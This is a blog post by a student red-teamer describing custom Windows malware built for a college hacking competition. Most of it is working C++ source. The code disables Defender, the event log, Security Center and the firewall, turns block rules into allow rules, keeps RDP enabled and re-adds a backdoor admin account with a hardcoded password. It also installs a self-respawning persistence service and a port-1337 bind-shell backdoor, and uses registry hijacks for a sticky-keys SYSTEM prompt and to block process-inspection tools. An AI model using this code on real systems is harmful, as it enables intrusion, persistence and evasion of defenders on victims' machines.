Writing Me Some Windows Malware

This year I had the pleasure of being part of the red and white teams for the first RIT Competitive Cybersecurity Club (RC3) Hacking Competition. The competition was set up similar to ISTS or CCDC with blue teams defending, a white team that sets up, and a red team that tries to hack the blue teams. This was my first actual red team experience in a competition scenario. I was tasked to take on Windows with the other Windows guy on the CCDC team. So naturally I spent the week writing some intense malware to challenge the blue teams. This post explains a bit of what I did and some of the clever tricks I used to keep myself hidden. This malware was designed to run on Windows Vista and up and was written in C++ totalling about 2400 lines. All written in Visual Studio 2013. It was nice to get back to C++ and the Windows API as I haven't done much C or C++ since Client Server Programming with Kennedy in the Spring. It was a bit frustrating at times, especially because I didn't understand unicode compatibility until about halfway through writing this (THREE HOURS to prepend and append a quote at either end of a string...).

Screen Shot 2014-05-12 at 11.36.11 PM

Malware Functions (tl;dr, implementations below!):

  • Shut security center off
  • Shut event log off
  • Shut Windows Defender off
  • Shut off firewall
    • Turn it off
    • Set the default policy to allowinbound,allowoutbound
    • Take an existing rule from both the in and out chains, take their names and descriptions, delete the originals, and re-add them as allow all rules
    • Take any existing block rules and make them allow rules
  • Turn on RDP constantly
  • Add and re-add a user called limecat as admin
  • Create a service that spawns the malware on boot and re-spawns it if it is killed
    • If the service is killed/disabled/uninstalled then the main program spawns it back
  • Multi-threaded, multi-connection backdoor command shell
  • Sticky keys command prompt
  • Prevented the user from launching procexp.exe and ProcessHacker.exe

More info and code after the jump.

Shutting of Security Center, Event Log, and Windows Defender

Obviously I don't want Security Center yelling at the user when the firewall gets shut off so I thought why not just shut it off real quick! Amongst the chaos of the competition beginning I figured nobody would even notice the popup for it turning off. I didn't want anyone telling what I was modifying so I shut event log off. I also took care of Windows Defender as good measure. It just so happens that the MSDN has some sample code for controlling services, so I took advantage of that and made the Service class that allowed me to interact with existing services as well as make new ones with a constructor. Each Service object represented one service on the machine and could be acted upon in various ways. Below is a code sample of me turning those services off.

//Initialize Service object and shut off Windows Defender
Service WinDefender(L"WinDefender");
if (WinDefender.getSvcRunning()){
    if (!WinDefender.DoStopSvc()){
        cout << "Service stop failed" << endl;
    }
    if (!WinDefender.DoDisableSvc()){
        cout << "Service disable failed" << endl;
    }
}

//Initialize Service object and shut off Event Log
Service eventlog(L"eventlog");
if (eventlog.getSvcRunning()){
    if (!eventlog.DoStopSvc()){
        cout << "Service stop failed" << endl;
    }
    if (!eventlog.DoDisableSvc()){
        cout << "Service disable failed" << endl;
    }
}

//Initialize Service object and shut off Security Center
Service wscsvc(L"wscsvc");
if (wscsvc.getSvcRunning()){
    if (!wscsvc.DoStopSvc()){
        cout << "Service stop failed" << endl;
    }
    if (!wscsvc.DoDisableSvc()){
        cout << "Service disable failed" << endl;
    }
}

More info: http://msdn.microsoft.com/en-us/library/windows/desktop/bb540476(v=vs.85).aspx

Shutting Off The Firewall

This was the original intent of this project: to mess up the firewall so bad that it would never be safe to use. Again, I took code from the MSDN site and built it into the Firewall class. Initializing a Firewall object would open the firewall for reading and editing via the COM. I could then act upon it as an object. I started my malicious intentions by obviously turning it off. I spawn off a thread in main to check if the firewall has been enabled and if it has then turn it back off, of course. Inconvenient. Additionally I set the default firewall policy to allow all incoming and outgoing traffic, so even if they do manage to get rid of my malware and turn their firewall back on I should still be able to get access. These first two actions usually raise red flags in Security Center, but that's off so nothing to worry about. To kill it even further I steal two rules, one from the in, and one from the out chains, take their names and descriptions, delete them, and replace them with allow all rules with the same name and description. The one flaw I saw in all of this is a user adding block rules; I fix this by changing all of the block rules to allow rules! Needless to say the teams that had this were in for a bad time. Code below:

Replacing a rule

//Replace the rule with an allow all rule with the same name, description, and direction as the input rule
void Firewall::replaceRule(INetFwRule* repRule){
    BSTR ruleName = NULL;
    INetFwRule* pNewRule = NULL;
    long profileBitmask = 0;
    NET_FW_RULE_DIRECTION ruleDir;
    BSTR ruleDesc = NULL;

    if (repRule != NULL){
        //get name, description, and direction, then delete the original
        handleStatus = repRule->get_Direction(&ruleDir);
        handleStatus = repRule->get_Name(&ruleName);
        handleStatus = repRule->get_Description(&ruleDesc);
        ruleSet->Remove(ruleName);
    }else{
        //Default if there are no rules
        ruleName = SysAllocString(L"Windows RPC Helper");
        ruleName = SysAllocString(L"Allows the Windows Remote Procedure Call Helper through the firewall.");
    }
    //Specify all profiles
    firewallPolicy->get_CurrentProfileTypes(&profileBitmask);
    //Make a new rule
    handleStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pNewRule);

    //Set rule properties and add the rule
    pNewRule->put_Action(NET_FW_ACTION_ALLOW);
    pNewRule->put_Direction(ruleDir);
    pNewRule->put_Enabled(VARIANT_TRUE);
    pNewRule->put_Name(ruleName);
    pNewRule->put_Description(ruleDesc);
    pNewRule->put_Profiles(profileBitmask);
    ruleSet->Add(pNewRule);

    //Cleanup
    SysFreeString(ruleName);
    SysFreeString(ruleDesc);
    pNewRule->Release();
}

Changing all block rules to allow rule

void Firewall::blockToAllow(){
    NET_FW_ACTION ruleAction;
    //Loop through all in rules and change the block ones to allow
    for (vector<INetFwRule*>::iterator rule = inRules.begin(); rule != inRules.end(); rule++){
        (*rule)->get_Action(&ruleAction);
        if (ruleAction == NET_FW_ACTION_BLOCK){
            (*rule)->put_Action(NET_FW_ACTION_ALLOW);
        }
    }
    //Loop through all out rules and change the block ones to allow
    for (vector<INetFwRule*>::iterator rule = outRules.begin(); rule != outRules.end(); rule++){
        (*rule)->get_Action(&ruleAction);
        if (ruleAction == NET_FW_ACTION_BLOCK){
            (*rule)->put_Action(NET_FW_ACTION_ALLOW);
        }
    }
}

Turning the firewall off

void Firewall::firewallOff(){
    //Disable firewall for all profiles
    handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_PUBLIC, FALSE);
    handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_DOMAIN, FALSE);
    handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_PRIVATE, FALSE);
}
</pre>

And my favorite:
<pre class="lang:cpp start-line:80 decode:1 nums:true" >
void Firewall::ownFirewall(){
    firewallOff();
    setDefaultAllowPolicy();
    replaceRule(get_randomRule("in"));
    replaceRule(get_randomRule("out"));
    blockToAllow();
}

This firewall is mine!

Implementing the nightmare in main:

    //initialize firewall object and rules
    Firewall netshFirewall;
    if (SUCCEEDED(netshFirewall.get_handleStatus()))
        netshFirewall.populate_ruleSet();

    //This firewall is mine.
    if (SUCCEEDED(netshFirewall.get_handleStatus())){
        netshFirewall.ownFirewall();

More info: http://msdn.microsoft.com/en-us/library/windows/desktop/ff956128(v=vs.85).aspx

Turning RDP On Constantly

Why use the shell if you can just remote in via the Remote Desktop Protocol (RDP) and own the box with a full admin account? That was the purpose of this part of the malware. It was also to infuriate the victim. This is as simple as spawning a thread to check if the registry key "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" has a value "fDenyTSConnections" set to 0. If not, set it to 0, enabling RDP, then check again in four seconds. Interacting with the registry via Windows API is pretty sketchy:

    HKEY rdpKey;
    DWORD rdpVal[MAX_PATH];
    DWORD lpd = MAX_PATH;
    DWORD dwType = REG_DWORD;
    //enable RDP forever
    while (1){
        DWORD newVal = 0;
        //open the key
        if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server", 0, KEY_ALL_ACCESS, &rdpKey) != ERROR_SUCCESS)
            cout << "Could not open RDP registry key\\n";
        else{
            //query the value in fDenyTSConnections
            if (RegQueryValueEx(rdpKey, L"fDenyTSConnections", NULL, &dwType, (LPBYTE)rdpVal, &lpd) != ERROR_SUCCESS){
                if (RegSetValueEx(rdpKey, L"fDenyTSConnections", NULL, REG_DWORD, (const BYTE*)&newVal, sizeof(DWORD)) != ERROR_SUCCESS){
                    cout << "Failed to set RDP key" << endl;
                }
            }
            else{
                if (rdpVal[0] != (char)0){
                    //set it back to 0!
                    if (RegSetValueEx(rdpKey, L"fDenyTSConnections", NULL, REG_DWORD, (const BYTE*)&newVal, sizeof(DWORD)) != ERROR_SUCCESS){
                        cout << "Failed to set RDP key" << endl;
                    }
                }
            }
        }
        RegCloseKey(rdpKey);
        Sleep(4000);
        if (is_ending)
            break;
    }

More info: http://msdn.microsoft.com/en-us/library/ms724256%28VS.85%29.aspx

User Adding and Re-Adding

This one was a must, we always need a user to get in with in case we get locked out. This was fun because it kept coming back. Yet another thread checking for the existence of the user "limecat" and adding it if it didn't exist every thirty seconds or so. Basically the code below shows the re-adding part, the checking was a whole other story that I'm keeping to myself.

    USER_INFO_1               user_info;
    LPWSTR                    lpszPrimaryDC = NULL;
    NET_API_STATUS            err = 0;
    DWORD                     parm_err = 0;

    //set new user attributes
    LPWSTR lpUser = L"limecat";
    LPWSTR lpPass = L"lolcat1!";
    user_info.usri1_name = lpUser;
    user_info.usri1_password = lpPass;
    user_info.usri1_priv = USER_PRIV_USER;
    user_info.usri1_home_dir = TEXT("");
    user_info.usri1_comment = TEXT("");
    user_info.usri1_flags = UF_SCRIPT \| UF_PASSWD_CANT_CHANGE \| UF_PASSWD_NOTREQD;
    user_info.usri1_script_path = TEXT("");

    //add the user if they don't exist
    if (!userExists){
        err = NetUserAdd(lpszPrimaryDC,    // PDC name 
            1,                         // level 
            (LPBYTE)&user_info,        // input buffer 
            &parm_err);                // parameter in error 

        switch (err)
        {
        case 0:
            printf("User successfully created.\\n");
            break;
        case NERR_UserExists:
            printf("User already exists.\\n");
            err = 0;
            break;
        case ERROR_INVALID_PARAMETER:
            printf("Invalid parameter error adding user; parameter index = %d\\n", parm_err);
            NetApiBufferFree(lpszPrimaryDC);
            break;
        default:
            printf("Error adding user: %d\\n", err);
            NetApiBufferFree(lpszPrimaryDC);
        }
    }

The MSDN has a ton of functions pertaining to users/accounts/groups/permissions/etc. here: http://msdn.microsoft.com/en-us/library/aa370649%28VS.85%29.aspx

Creating a Malicious Service

This was my favorite part. Even if I named my process something convincing like lsass or wininit I still would be SOL if the victim found and killed the process. So I made a service that spawned another instance when the currently running one died. This also allowed for persistence across reboots as the service was set to automatic start. This was nice because I did not have to use the classic persistence run key at "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" that everyone looks in and autoruns finds. In this case everything my malware put in registry was not detected by autoruns. Here I use the other constructor to the Service class in order to create and install the new service: (a bit messy, but it works)

    //create the service and start it
    Service malSvc(L"malSvc", L"C:\\\\path\\\\to\\\\service", SERVICE_AUTO_START, SERVICE_WIN32_OWN_PROCESS, L"Malicious Service");
    if (!malSvc.initFail){ //if it fails then it probably already exists
            malSvc.DoStartSvc();
            malSvc.setAutoStart();
    }else{
        //load up the already existing service and enable/start it, plus set auto start
        Service existingMalSvc(L"malSvc");
        if (!existingMalSvc.getSvcEnabled()){
            existingMalSvc.DoEnableSvc();
            existingMalSvc.DoStartSvc();
            existingMalSvc.setAutoStart();
        }else if (!existingMalSvc.getSvcRunning()){
            existingMalSvc.DoStartSvc();
            existingMalSvc.setAutoStart();
        }
    }

The service is awesome because it allowed me to orphan processes in Windows, which it turns out is really hard/impossible otherwise. Services are the children of services.exe. We can use this to our advantage. Here is how my malware works when threatened:

Kill main malware -> service re-spawns it (as child) -> malware stops service, orphaning itself -> malware starts service, maintaining persistence

I think this is pretty clever!

It also works the other way too but this time with less effort, as the main malware has a thread checking if the service is running, if not then it restarts the service. I was able to get this combo to the point where even pskill-ing both of the processes at the same time would not work at stopping them. Scary stuff.

Coding a basic Windows service: http://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus

Backdoor Command Prompt

This was my favorite part to program. I took a single-threaded, single-connection Windows backdoor command prompt with global variables and made it into a non-blocking, multi-threaded, multi-connection backdoor. The original code can be found here. One of the problems I ran into was that sockets are, by default, blocking. This means that the accept function would hang until a connection was received. Not very friendly to a nice shutdown while testing, so for my own interest I looked into ways to get around this. I came across two methods, one was change the socket into a non blocking socket and constantly check it, and the other was using the select function. The former option would take up a lot more of the CPU than the latter so that is the one I went with. Basically what select does is it takes the listening socket as an argument and if anything is received it returns 1, if nothing is received after a timeout value then it returns 0 (on error -1). This is useful so when there is a connection we can pass the connection to the accept function and spawn a connection thread and if there is no activity we can do something else (like check if the program is exiting). Check it out:

DWORD WINAPI backdoor() //the main function
{
    //signal handling
    signal(SIGINT, sigHandler);
    signal(SIGTERM, sigHandler);
    signal(SIGABRT, sigHandler);

    //select function timeout values
    struct timeval tv;
    tv.tv_sec = 5;
    tv.tv_usec = 0;

    fd_set master;    // master file descriptor list
    fd_set read_fds;  // temp file descriptor list for select()
    int fdmax;        // maximum file descriptor number

    FD_ZERO(&master);    // clear the master and temp sets
    FD_ZERO(&read_fds);

    int rc = 1;

    int port = 1337; //port is going to keep the portnumber
    SOCKET locsock, remsock;  //the sockets we are going to need
    SOCKADDR_IN sinloc; //the structures needed for our sockets
    WSADATA wsadata; //wsadata

    //set listen port
    port = 1337;
    //tell windows we want to use sockets
    WSAStartup(MAKEWORD(1,1), &wsadata);
    //create socket
    locsock = socket(AF_INET, SOCK_STREAM, 0);
    //fill structure
    sinloc.sin_family = AF_INET;
    sinloc.sin_addr.s_addr = INADDR_ANY;
    sinloc.sin_port = htons(port);
    while (1){
        //bind the socket to the specified port
        SOCKET tempsock = locsock;
        if (bind(locsock, (SOCKADDR*)&sinloc, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
        {
            printf("bind error");
            ExitThread(0);
        }
        //listen on the specified socket
        if (listen(locsock, 10) == SOCKET_ERROR)
        {
            WSACleanup();
            printf("Error listening socket.");
            break;
        }

        // add the listener to the master set
        FD_SET(locsock, &master);

        // keep track of the biggest file descriptor
        fdmax = locsock; //so far, it's this one

        //infinite loop here to keep the program listening
        while (1)
        {
            remsock = SOCKET_ERROR;
            while (remsock == SOCKET_ERROR)
            {
                read_fds = master; // copy master set
                rc = select(fdmax + 1, &read_fds, NULL, NULL, &tv); //here we use select to not hold up the program while waiting for connections
                if (rc == -1) {
                    perror("select");
                    break;
                }
                else if (rc > 0){
                    //accept connection to our program
                    remsock = accept(locsock, NULL, NULL);
                    if (remsock == INVALID_SOCKET)
                    {
                        //cleanup and exit program
                        WSACleanup();
                        printf("Error accepting socket.");
                        break;
                    }
                    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CommandPrompt, (void *)&remsock, 0, NULL); //start connection handling thread
                    Sleep(200);
                }
                if (is_ending){
                    closesocket(remsock);
                    ExitThread(0);
                }
            }
        }
    }
    ExitThread(0);
}

If you want the full code (modified slightly from this) and the handler thread then just ask!

Sticky Keys Prompt and Preventing Users from Opening Certain Processes

This was an idea from Mubix's malware and it's pretty clever. Constantly enabling RDP and having the sticky keys command prompt is a deadly combo, as you can call up a command prompt with NT AUTHORITY/SYSTEM privileges from the login screen and do whatever you want (create users, shut things down, change passwords, etc.) This was relatively easy as I just had to edit a registry key. Again, sketchy code:

    HKEY sethcKey;
    DWORD lpd = MAX_PATH;
    DWORD szType = REG_SZ;

    //Sticky keys prompt
    if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\sethc.exe", NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &sethcKey, NULL != ERROR_SUCCESS)){
        cout << "Sethc Key not created successfully\\n";
    }else{
        if (RegSetValueEx(sethcKey, L"Debugger", NULL, REG_SZ, (const BYTE*)_T("\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\""), lpd) != ERROR_SUCCESS){
            cout << "Failed to set sethc key" << endl;
        }
    }
    RegCloseKey(sethcKey);
</pre>

So there's that. 

This can also be used to block programs from starting by name. The examples I use are Process Explorer and Process Hacker. Here's one: 
<pre class="lang:cpp startline:463 decode:1 nums:true" >

    //Stop process explorer
    if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\procexp.exe", NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &procKey, NULL != ERROR_SUCCESS)){
        cout << "procexp key not created successfully\\n";
    }
    else{
        if (RegSetValueEx(procKey, L"Debugger", NULL, REG_SZ, (const BYTE*)_T("\\"C:\\\\Windows\\\\system32\\\\rundll32.exe\\""), lpd) != ERROR_SUCCESS){
            cout << "Failed to set procexp key" << endl;
        }
    }
    RegCloseKey(procKey);

This will open rundll32.exe when the victim tries to open procexp.exe, the standard name for Process Explorer in the Sysinternals Suite. With no arguments rundll32.exe does nothing, and that's what we want. The quick fix to this is to rename the executable, but who would really think to do that?

I spent a lot of time on this. I hope you enjoyed reading about it and my solutions to problems I was having. For obvious reasons I am not going to release the full source code, but feel free to ask me for a copy of this malware if you are red teaming and want something advance AND persistent!